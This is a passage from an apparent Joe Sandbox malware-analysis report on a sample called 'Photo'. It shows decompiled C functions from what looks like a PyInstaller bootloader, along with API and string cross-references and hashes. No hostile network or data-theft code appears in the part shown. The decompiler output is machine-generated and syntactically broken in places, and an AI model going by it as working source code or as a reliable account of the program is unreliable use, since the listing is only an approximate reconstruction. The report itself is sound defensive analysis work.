										}
									}
									L20:
									__eflags = _t77;
									if(__eflags == 0) {
										L24:
										E001D21E0(_t115, __eflags, _t117);
										_t97 = E001D20B0(_t95, __eflags, _t117);
										L001D21D0(_t117);
										_t139 = _t138 + 0xc;
										goto L31;
									} else {
										_t28 = _t117 + 0x2068; // 0x2068
										_t126 = _t28;
										_t65 = E001DCBE0(_t126, _t95, 0x1000);
										_t139 = _t138 + 0xc;
										__eflags =  *((char*)(_t117 + 0x3067));
										if( *((char*)(_t117 + 0x3067)) != 0) {
											goto L27;
										} else {
											_t30 = _t117 + 0x3068; // 0x3068
											 *((intOrPtr*)(_t117 + 0x4068)) = 1;
											_t106 = _t30 - _t126;
											__eflags = _t106;
											do {
												_t81 =  *_t126;
												_t126 = _t126 + 1;
												 *((char*)(_t106 + _t126 - 1)) = _t81;
												__eflags = _t81;
											} while (__eflags != 0);
											goto L24;
										}
									}
									goto L32;
								}
								asm("sbb eax, eax");
								_t77 = _t76 | 0x00000001;
								__eflags = _t77;
								goto L20;
							}
						} else {
							_t82 = E001D2220(_t117);
							_t138 = _t136 + 4;
							__eflags = _t82;
							if(_t82 != 0) {
								L25:
								_t65 = E001D2110(_t114, _t130, _t117);
								_t139 = _t138 + 4;
								__eflags = _t65;
								if(_t65 != 0) {
									L27:
									_t66 = _t65 | 0xffffffff;
								} else {
									__eflags =  *((char*)(_t117 + 0x2068));
									_t36 = _t117 + 0x2068; // 0x2068
									_t125 = _t36;
									_t68 =  !=  ? _t125 :  &_v0;
									E001D4310("_MEIPASS2",  !=  ? _t125 :  &_v0);
									_push("_MEIPASS2");
									E001D3DC0(_t95);
									_push(_t117);
									_t65 = E001D7FC0();
									_t139 = _t139 + 0x10;
									__eflags = _t65 - 0xffffffff;
									if(__eflags != 0) {
										E001D9120(_t65);
										_push(_v4);
										_push(_t130);
										_push(_t117);
										_push( &_a4096);
										_t73 = E001D4380(_t95, _t114, _t130, __eflags);
										_t141 = _t139 + 0x10;
										_t97 = _t73;
										__eflags =  *((intOrPtr*)(_t117 + 0x4068)) - 1;
										if( *((intOrPtr*)(_t117 + 0x4068)) == 1) {
											_push(_t125); // executed
											E001D4060(_t114); // executed
											_t141 = _t141 + 4;
										}
										E001D17A0(_t114, _t130, _t117);
										_t139 = _t141 + 4;
										L31:
										_t66 = _t97;
									} else {
										goto L27;
									}
								}
							} else {
								_t95 =  &_a4;
								goto L12;
							}
						}
						L32:
						__eflags = _a12288 ^ _t139;
						E001D7760();
						return _t66;
					} else {
						_t107 =  &_a4;
						_t114 = _t107 + 1;
						do {
							_t83 =  *_t107;
							_t107 = _t107 + 1;
							__eflags = _t83;
						} while (__eflags != 0);
						_t87 = E001D1750(__ebp, __eflags, _t117,  &_a4,  &_a8196 + _t107 - _t114);
						_t136 = _t136 + 0xc;
						__eflags = _t87;
						if(__eflags == 0) {
							goto L9;
						} else {
							_push( &_a8196);
							_t90 = E001D1A10(_t95, __eflags, "Cannot open self %s or archive %s\n",  &_a4100);
							__eflags = _a12292 ^ _t136 + 0x0000000c;
							E001D7760();
							return _t90 | 0xffffffff;
						}
					}
				} else {
					_push("Cannot allocate memory for ARCHIVE_STATUS\n");
					_push("calloc");
					_t92 = E001D17F0(__ebx);
					E001D7760();
					return _t92 | 0xffffffff;
				}
			}

0x001d2520
0x001d2520
0x001d2525
0x001d252a
0x001d2531
0x001d2539
0x001d2545
0x001d2552
0x001d2557
0x001d255c
0x001d255e
0x001d2563
0x001d2565
0x001d256a
0x001d2598
0x001d25a3
0x001d25b8
0x001d25ca
0x001d25cf
0x001d25de
0x001d25e0
0x001d25e5
0x001d25e9
0x001d25ec
0x001d25f0
0x001d25f0
0x001d25f2
0x001d25f3
0x001d25f3
0x001d2609
0x001d260e
0x001d2611
0x001d2613
0x001d267d
0x001d267d
0x001d2683
0x001d2684
0x001d268b
0x001d2691
0x001d2693
0x001d26aa
0x001d26ba
0x001d26c1
0x001d26c6
0x001d26c9
0x001d26cb
0x00000000
0x001d26d1
0x001d26d1
0x001d26d3
0x001d26d7
0x001d26d7
0x001d26d9
0x001d26db
0x00000000
0x00000000
0x001d26dd
0x001d26df
0x001d26f3
0x001d26f3
0x001d26e1
0x001d26e1
0x001d26e4
0x001d26e7
0x00000000
0x001d26e9
0x001d26e9
0x001d26ec
0x001d26ef
0x001d26f1
0x00000000
0x00000000
0x00000000
0x00000000
0x001d26f1
0x001d26e7
0x001d26fc
0x001d26fc
0x001d26fe
0x001d2741
0x001d2742
0x001d274e
0x001d2750
0x001d2755
0x00000000
0x001d2700
0x001d2705
0x001d2705
0x001d270d
0x001d2712
0x001d2715
0x001d271c
0x00000000
0x001d2722
0x001d2722
0x001d2728
0x001d2732
0x001d2732
0x001d2734
0x001d2734
0x001d2736
0x001d2739
0x001d273d
0x001d273d
0x00000000
0x001d2734
0x001d271c
0x00000000
0x001d26fe
0x001d26f7
0x001d26f9
0x001d26f9
0x00000000
0x001d26f9
0x001d2695
0x001d2696
0x001d269b
0x001d269e
0x001d26a0
0x001d275d
0x001d275e
0x001d2763
0x001d2766
0x001d2768
0x001d27a1
0x001d27a1
0x001d276a
0x001d276a
0x001d2771
0x001d2771
0x001d277b
0x001d2784
0x001d2789
0x001d278e
0x001d2793
0x001d2794
0x001d2799
0x001d279c
0x001d279f
0x001d27a6
0x001d27ab
0x001d27b6
0x001d27b7
0x001d27b8
0x001d27b9
0x001d27be
0x001d27c1
0x001d27c3
0x001d27ca
0x001d27cc
0x001d27cd
0x001d27d2
0x001d27d2
0x001d27d6
0x001d27db
0x001d27de
0x001d27de
0x00000000
0x00000000
0x00000000
0x001d279f
0x001d26a6
0x001d26a6
0x00000000
0x001d26a6
0x001d26a0
0x001d27e0
0x001d27eb
0x001d27ed
0x001d27f8
0x001d2615
0x001d2615
0x001d2619
0x001d2620
0x001d2620
0x001d2622
0x001d2623
0x001d2623
0x001d2639
0x001d263e
0x001d2641
0x001d2643
0x00000000
0x001d2645
0x001d264c
0x001d265a
0x001d266f
0x001d2671
0x001d267c
0x001d267c
0x001d2643
0x001d256c
0x001d256c
0x001d2571
0x001d2576
0x001d258c
0x001d2597
0x001d2597

Strings

calloc, xrefs: 001D2571
_MEIPASS2, xrefs: 001D25CF, 001D25D9, 001D277F, 001D2789
Cannot open self %s or archive %s, xrefs: 001D2655
Cannot allocate memory for ARCHIVE_STATUS, xrefs: 001D256C

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID: Cannot allocate memory for ARCHIVE_STATUS$Cannot open self %s or archive %s$_MEIPASS2$calloc
API String ID: 0-3874408297
Opcode ID: e68ef7978c3c30489f0d62a6f0f3019bf3403b6d2f6adf6d67e74e781de5bbdf
Instruction ID: 783561e0568a3f77a010e638008fbe2b2ca38bcf7809c87227a3e14e6a994f02
Opcode Fuzzy Hash: e68ef7978c3c30489f0d62a6f0f3019bf3403b6d2f6adf6d67e74e781de5bbdf
Instruction Fuzzy Hash: 2D713AB290434167D721AB749C42BFB77ACAF75314F44051BF96982343E772E609C6A3

Uniqueness

Uniqueness Score: -1.00%

Function 001EB2A3 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E001EB2A3(void* __eflags) {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				signed int _v56;
				char _v268;
				intOrPtr _v272;
				char _v276;
				char _v312;
				char _v316;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t36;
				signed int _t38;
				signed int _t42;
				void* _t45;
				signed int _t49;
				void* _t53;
				void* _t55;
				long _t57;
				signed int* _t60;
				intOrPtr _t70;
				void* _t79;
				signed int _t86;
				void* _t88;
				signed int _t89;
				signed int _t91;
				int _t95;
				void* _t97;
				char** _t98;
				signed int _t102;
				signed int _t104;
				signed int _t110;
				signed int _t111;
				intOrPtr _t120;
				intOrPtr _t122;

				_t98 = E001EAD0D();
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_t36 = E001EAD6B( &_v8);
				_t79 = _t97;
				if(_t36 != 0) {
					L19:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E001E16A1();
					asm("int3");
					_t110 = _t111;
					_t38 =  *0x1fc008; // 0x369f4a24
					_v56 = _t38 ^ _t110;
					 *0x1fc91c =  *0x1fc91c | 0xffffffff;
					 *0x1fc910 =  *0x1fc910 | 0xffffffff;
					_push(0);
					_push(_t98);
					_t76 = "TZ";
					_t91 = 0;
					 *0x20a588 = 0;
					_t42 = E001E6D9A("TZ", _t88, 0, _t98, __eflags,  &_v316,  &_v312, 0x100, "TZ");
					__eflags = _t42;
					if(_t42 != 0) {
						__eflags = _t42 - 0x22;
						if(_t42 == 0x22) {
							_t104 = E001E0964(_t79, _v272);
							__eflags = _t104;
							if(__eflags != 0) {
								_t49 = E001E6D9A(_t76, _t88, 0, _t104, __eflags,  &_v276, _t104, _v272, _t76);
								__eflags = _t49;
								if(_t49 == 0) {
									E001E092A(0);
									_t91 = _t104;
								} else {
									_push(_t104);
									goto L25;
								}
							} else {
								_push(0);
								L25:
								E001E092A();
							}
						}
					} else {
						_t91 =  &_v268;
					}
					asm("sbb esi, esi");
					_t102 =  ~(_t91 -  &_v268) & _t91;
					__eflags = _t91;
					if(__eflags == 0) {
						L33:
						E001EB2A3(__eflags); // executed
					} else {
						__eflags =  *_t91;
						if(__eflags == 0) {
							goto L33;
						} else {
							_push(_t91);
							E001EB0CE(__eflags);
						}
					}
					_t45 = E001E092A(_t102);
					__eflags = _v12 ^ _t110;
					E001D7760();
					return _t45;
				} else {
					_t53 = E001EAD13( &_v12);
					_pop(_t79);
					if(_t53 != 0) {
						goto L19;
					} else {
						_t55 = E001EAD3F( &_v16);
						_pop(_t79);
						if(_t55 != 0) {
							goto L19;
						} else {
							E001E092A( *0x20a584);
							 *0x20a584 = 0;
							 *_t111 = 0x20a590; // executed
							_t57 = GetTimeZoneInformation(??); // executed
							if(_t57 != 0xffffffff) {
								_t86 =  *0x20a590 * 0x3c;
								_t89 =  *0x20a5e4; // 0x0
								_push(_t90);
								 *0x20a588 = 1;
								_v8 = _t86;
								_t120 =  *0x20a5d6; // 0xb
								if(_t120 != 0) {
									_v8 = _t86 + _t89 * 0x3c;
								}
								_t122 =  *0x20a62a; // 0x3
								if(_t122 == 0) {
									L9:
									_v12 = 0;
									_v16 = 0;
								} else {
									_t70 =  *0x20a638; // 0xffffffc4
									if(_t70 == 0) {
										goto L9;
									} else {
										_v12 = 1;
										_v16 = (_t70 - _t89) * 0x3c;
									}
								}
								_t95 = E001E7E33(0, _t89);
								if(WideCharToMultiByte(_t95, 0, ?str?, 0xffffffff,  *_t98, 0x3f, 0,  &_v20) == 0 || _v20 != 0) {
									 *( *_t98) = 0;
								} else {
									( *_t98)[0x3f] = 0;
								}
								if(WideCharToMultiByte(_t95, 0, ?str?, 0xffffffff, _t98[1], 0x3f, 0,  &_v20) == 0 || _v20 != 0) {
									 *(_t98[1]) = 0;
								} else {
									_t98[1][0x3f] = 0;
								}
							}
							 *(E001EAD07()) = _v8;
							 *(E001EACFB()) = _v12;
							_t60 = E001EAD01();
							 *_t60 = _v16;
							return _t60;
						}
					}
				}
			}

0x001eb2b2
0x001eb2b9
0x001eb2bd
0x001eb2c0
0x001eb2c3
0x001eb2c8
0x001eb2cb
0x001eb3f3
0x001eb3f3
0x001eb3f4
0x001eb3f5
0x001eb3f6
0x001eb3f7
0x001eb3f8
0x001eb3fd
0x001eb401
0x001eb409
0x001eb410
0x001eb413
0x001eb420
0x001eb427
0x001eb428
0x001eb42a
0x001eb42f
0x001eb43e
0x001eb445
0x001eb44d
0x001eb44f
0x001eb459
0x001eb45c
0x001eb469
0x001eb46c
0x001eb46e
0x001eb487
0x001eb48f
0x001eb491
0x001eb497
0x001eb49c
0x001eb493
0x001eb493
0x00000000
0x001eb493
0x001eb470
0x001eb470
0x001eb471
0x001eb471
0x001eb471
0x001eb49e
0x001eb451
0x001eb451
0x001eb451
0x001eb4ab
0x001eb4ad
0x001eb4af
0x001eb4b1
0x001eb4c1
0x001eb4c1
0x001eb4b3
0x001eb4b3
0x001eb4b6
0x00000000
0x001eb4b8
0x001eb4b8
0x001eb4b9
0x001eb4be
0x001eb4b6
0x001eb4c7
0x001eb4d2
0x001eb4d5
0x001eb4dd
0x001eb2d1
0x001eb2d5
0x001eb2da
0x001eb2dd
0x00000000
0x001eb2e3
0x001eb2e7
0x001eb2ec
0x001eb2ef
0x00000000
0x001eb2f5
0x001eb2fb
0x001eb300
0x001eb306
0x001eb30d
0x001eb316
0x001eb31c
0x001eb323
0x001eb329
0x001eb32d
0x001eb333
0x001eb336
0x001eb33d
0x001eb344
0x001eb344
0x001eb347
0x001eb34e
0x001eb366
0x001eb366
0x001eb369
0x001eb350
0x001eb350
0x001eb357
0x00000000
0x001eb359
0x001eb35b
0x001eb361
0x001eb361
0x001eb357
0x001eb371
0x001eb38d
0x001eb39d
0x001eb394
0x001eb396
0x001eb396
0x001eb3bb
0x001eb3cd
0x001eb3c2
0x001eb3c5
0x001eb3c5
0x001eb3bb
0x001eb3d7
0x001eb3e1
0x001eb3e6
0x001eb3eb
0x001eb3f2
0x001eb3f2
0x001eb2ef
0x001eb2dd

APIs

Part of subcall function 001E092A: RtlFreeHeap.NTDLL(00000000,00000000,?,001E7FEF,?,00000000,?,00000000,?,001E8016,?,00000007,?,?,001E846D,?), ref: 001E0940
Part of subcall function 001E092A: GetLastError.KERNEL32(?,?,001E7FEF,?,00000000,?,00000000,?,001E8016,?,00000007,?,?,001E846D,?,?), ref: 001E0952

GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,001F91C0), ref: 001EB30D
WideCharToMultiByte.KERNEL32(00000000,00000000,Pacific Standard Time,000000FF,00000000,0000003F,00000000,?,?), ref: 001EB385
WideCharToMultiByte.KERNEL32(00000000,00000000,Pacific Daylight Time,000000FF,?,0000003F,00000000,?), ref: 001EB3B2

Strings

Pacific Standard Time, xrefs: 001EB37E
Pacific Daylight Time, xrefs: 001EB3AB

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
String ID: Pacific Daylight Time$Pacific Standard Time
API String ID: 286349749-1154798116
Opcode ID: 04c8f2957c84153d44fbe634e12ec4b30873d1880e3fc23253ccf90598d9b34a
Instruction ID: b8888c6bcd5163e06dde994d3f9ea49a642deed210065ba57d4ceb6e23f241ca
Opcode Fuzzy Hash: 04c8f2957c84153d44fbe634e12ec4b30873d1880e3fc23253ccf90598d9b34a
Instruction Fuzzy Hash: 21512471D04B49ABCB14EFA6DCC29AFBBBCFF44350B90026AE45497192EB709E41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 001D1320 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E001D1320(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t7;
				signed int _t9;
				void* _t10;
				signed int _t15;
				signed int _t17;
				intOrPtr _t27;
				signed int _t28;
				intOrPtr _t29;
				signed int _t30;
				void* _t31;

				_t21 = __edx;
				_t20 = __ecx;
				_t29 =  *((intOrPtr*)(_t31 + 0x10));
				_t27 =  *((intOrPtr*)(_t31 + 0x10));
				_push(_t29);
				_push(_t27);
				_t19 = E001D1220(__ecx, __edx);
				_t7 = E001D3B80(_t6, __edx, _t27);
				if(_t7 != 0xffffffff) {
					_t3 = _t29 + 0x12; // 0x12
					_t23 = _t3;
					_t4 = _t27 + 0x2068; // 0x2068
					_push(_t3);
					_t9 = E001D3E70(_t19, _t3);
					_t28 = _t9;
					_push( *((intOrPtr*)(_t29 + 0xc)));
					L001D775A();
					_t30 = _t9;
					__eflags = _t28;
					if(_t28 != 0) {
						_t10 = E001DA81E(_t20, _t19, _t30, 1, _t28); // executed
						__eflags = _t10 - 1;
						if(__eflags == 0) {
							L7:
							_push(_t28); // executed
							E001D99DC(_t20, _t21, __eflags); // executed
							L001D9956(_t19); // executed
							__eflags = 0;
							return 0;
						} else {
							__eflags = _t30;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t15 = E001D17F0(_t19, "fwrite", "Failed to write all bytes for %s\n", _t23) | 0xffffffff;
								__eflags = _t15;
								return _t15;
							}
						}
					} else {
						_t17 = E001D17F0(_t19, "fopen", "%s could not be extracted!\n", _t23) | 0xffffffff;
						__eflags = _t17;
						return _t17;
					}
				} else {
					return _t7;
				}
			}

0x001d1320
0x001d1320
0x001d1322
0x001d1327
0x001d132b
0x001d132c
0x001d1333
0x001d1335
0x001d1340
0x001d1349
0x001d1349
0x001d134c
0x001d1352
0x001d1354
0x001d135c
0x001d135e
0x001d1361
0x001d1366
0x001d1368
0x001d136a
0x001d138c
0x001d1394
0x001d1397
0x001d13b8
0x001d13b8
0x001d13b9
0x001d13bf
0x001d13c7
0x001d13cd
0x001d1399
0x001d1399
0x001d139b
0x00000000
0x001d139d
0x001d13b0
0x001d13b0
0x001d13b7
0x001d13b7
0x001d139b
0x001d136c
0x001d137f
0x001d137f
0x001d1386
0x001d1386
0x001d1344
0x001d1347
0x001d1347

APIs

htonl.WS2_32(?), ref: 001D1361

Strings

Failed to write all bytes for %s, xrefs: 001D139E
fwrite, xrefs: 001D13A3
%s could not be extracted!, xrefs: 001D136D
fopen, xrefs: 001D1372

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: htonl
String ID: %s could not be extracted!$Failed to write all bytes for %s$fopen$fwrite
API String ID: 2009864989-741305175
Opcode ID: 48dc1b47c7f17bf480916ea94a4ee7e49b5d14bcbfb77d6a84db3597074d40b4
Instruction ID: 00b46f5ba0b64207401d83b01a4eda6898055f388ce1ad4c814bb60ce1235aad
Opcode Fuzzy Hash: 48dc1b47c7f17bf480916ea94a4ee7e49b5d14bcbfb77d6a84db3597074d40b4
Instruction Fuzzy Hash: 9011A173A4131837CA1172B97C468EB374CDEA2377B140A67FA24D2382F752991552A2

Uniqueness

Uniqueness Score: -1.00%

Function 001D1120 Relevance: 6.1, APIs: 4, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E001D1120(void* __edx, void* _a4) {
				char _v4;
				signed int _t15;
				signed int _t32;

				_t34 = __edx;
				_t35 = _a4;
				_v4 = 0;
				E001DA069(__edx,  *_a4, 0, 0); // executed
				E001D9C7E( &_a4, 1, 2,  *_a4); // executed
				_t15 = _a4;
				if(_t15 != 0x4d || _t15 != 0x5a) {
					L8:
					return _t15 | 0xffffffff;
				} else {
					E001DA069(__edx,  *_t35, 0x3c, 0); // executed
					E001D9C7E( &_v4, 4, 1,  *_t35);
					E001DA069(__edx,  *_t35, _v4 + 0x18, 0); // executed
					E001D9C7E( &_a4, 2, 1,  *_t35);
					_t15 = _a4;
					if(_t15 != 0xb) {
						goto L8;
					} else {
						if(_t15 != 1) {
							if(_t15 != 2) {
								goto L8;
							} else {
								_t32 = 0xa8;
								goto L7;
							}
						} else {
							_t32 = 0x98;
							L7:
							E001DA069(_t34,  *_t35, _v4 + _t32, 0);
							E001D9C7E( &_v4, 4, 1,  *_t35);
							_t31 =  ==  ? _t32 | 0xffffffff : _v4;
							return  ==  ? _t32 | 0xffffffff : _v4;
						}
					}
				}
			}

0x001d1120
0x001d1122
0x001d112a
0x001d1134
0x001d1144
0x001d1149
0x001d1153
0x001d11f2
0x001d11f7
0x001d1162
0x001d1168
0x001d1178
0x001d1189
0x001d1199
0x001d119e
0x001d11a8
0x00000000
0x001d11aa
0x001d11ad
0x001d11b9
0x00000000
0x001d11bb
0x001d11bb
0x00000000
0x001d11bb
0x001d11af
0x001d11af
0x001d11c0
0x001d11cb
0x001d11db
0x001d11ec
0x001d11f1
0x001d11f1
0x001d11ad
0x001d11a8

APIs

__fread_nolock.LIBCMT ref: 001D1144
__fread_nolock.LIBCMT ref: 001D1178
__fread_nolock.LIBCMT ref: 001D1199
__fread_nolock.LIBCMT ref: 001D11DB

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 080bdc0a5cf24a0fbe189a99a1faa2e6c7154a85cb0dc85752e2b143f4085c9a
Instruction ID: 3a3e2b73e28b6f7f375c895b1d3e81853746a7adddac97056e08b75e737c3be0
Opcode Fuzzy Hash: 080bdc0a5cf24a0fbe189a99a1faa2e6c7154a85cb0dc85752e2b143f4085c9a
Instruction Fuzzy Hash: D621C376644300BBEE30AA68CC03F5977D5AF50754F60091EF3D0AA2E6D7B6C8518B16

Uniqueness

Uniqueness Score: -1.00%

Function 001E352A Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E001E352A(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x20a328 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x1f5080 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x369f4a25
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x001e352f
0x001e3533
0x001e353a
0x001e353e
0x001e354c
0x001e355c
0x001e3562
0x001e3566
0x001e358f
0x001e3591
0x001e3595
0x001e3598
0x001e3598
0x001e359e
0x001e35a0
0x00000000
0x001e35a1
0x001e3568
0x001e3571
0x001e3580
0x001e3573
0x001e3576
0x001e357c
0x001e357c
0x001e3584
0x00000000
0x001e3586
0x001e3589
0x001e358b
0x00000000
0x001e358b
0x001e3584
0x001e3540
0x001e3545
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,001DAA3E,00000000,00000000,?,001E34D1,001DAA3E,00000000,00000000,00000000,?,001E3790,00000006,FlsSetValue), ref: 001E355C
GetLastError.KERNEL32(?,001E34D1,001DAA3E,00000000,00000000,00000000,?,001E3790,00000006,FlsSetValue,001F5564,001F556C,00000000,00000364,?,001E4419), ref: 001E3568
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,001E34D1,001DAA3E,00000000,00000000,00000000,?,001E3790,00000006,FlsSetValue,001F5564,001F556C,00000000), ref: 001E3576

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: af981e113d875d1faf94c107c4846013805536fb36926ce018e9f5ebb7e714ab
Instruction ID: 056856e8ecd1d0eee0a03a45285fddbfb5847e1c5b735a32bee7ff63cb24d5b2
Opcode Fuzzy Hash: af981e113d875d1faf94c107c4846013805536fb36926ce018e9f5ebb7e714ab
Instruction Fuzzy Hash: B9012032211B625FC7214B6AEC4CF6E7758AF497A1B510534F92AD3341DB20DE40C7D4

Uniqueness

Uniqueness Score: -1.00%

Function 001E2F92 Relevance: 4.7, APIs: 3, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E001E2F92(signed int _a4, void* _a8, signed int _a12) {
				signed int _v8;
				long _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				signed int _t62;
				intOrPtr _t66;
				signed char _t68;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t74;
				signed int _t75;
				signed int _t76;
				intOrPtr _t78;
				signed int _t80;
				signed int _t84;
				signed int _t87;
				signed int _t101;
				signed int _t102;
				signed int _t105;
				intOrPtr _t107;
				signed int _t112;
				signed int _t114;
				void* _t116;
				signed int _t120;
				signed int _t123;
				signed int _t125;
				void* _t126;

				_t62 =  *0x1fc008; // 0x369f4a24
				_v8 = _t62 ^ _t125;
				_t105 = _a12;
				_v12 = _t105;
				_t120 = _a4;
				_t116 = _a8;
				_v52 = _t116;
				if(_t105 != 0) {
					__eflags = _t116;
					if(_t116 != 0) {
						_t101 = _t120 >> 6;
						_t114 = (_t120 & 0x0000003f) * 0x30;
						_v32 = _t101;
						_t66 =  *((intOrPtr*)(0x20a118 + _t101 * 4));
						_v48 = _t66;
						_v28 = _t114;
						_t102 =  *((intOrPtr*)(_t66 + _t114 + 0x29));
						__eflags = _t102 - 2;
						if(_t102 == 2) {
							L6:
							_t68 =  !_t105;
							__eflags = _t68 & 0x00000001;
							if((_t68 & 0x00000001) != 0) {
								_t66 = _v48;
								L9:
								__eflags =  *(_t66 + _t114 + 0x28) & 0x00000020;
								if(__eflags != 0) {
									E001E270E(_t120, 0, 0, 2);
									_t126 = _t126 + 0x10;
								}
								_t69 = E001E2B37(_t102, _t114, __eflags, _t120);
								__eflags = _t69;
								if(_t69 == 0) {
									_t107 =  *((intOrPtr*)(0x20a118 + _v32 * 4));
									_t71 = _v28;
									__eflags =  *(_t107 + _t71 + 0x28) & 0x00000080;
									if(( *(_t107 + _t71 + 0x28) & 0x00000080) == 0) {
										_v24 = 0;
										_v20 = 0;
										_v16 = 0;
										_t73 = WriteFile( *(_t107 + _t71 + 0x18), _t116, _v12,  &_v20, 0); // executed
										__eflags = _t73;
										if(_t73 == 0) {
											_v24 = GetLastError();
										}
										goto L28;
									}
									_t84 = _t102;
									__eflags = _t84;
									if(_t84 == 0) {
										E001E2BAD( &_v24, _t120, _t116, _v12);
										goto L17;
									}
									_t87 = _t84 - 1;
									__eflags = _t87;
									if(_t87 == 0) {
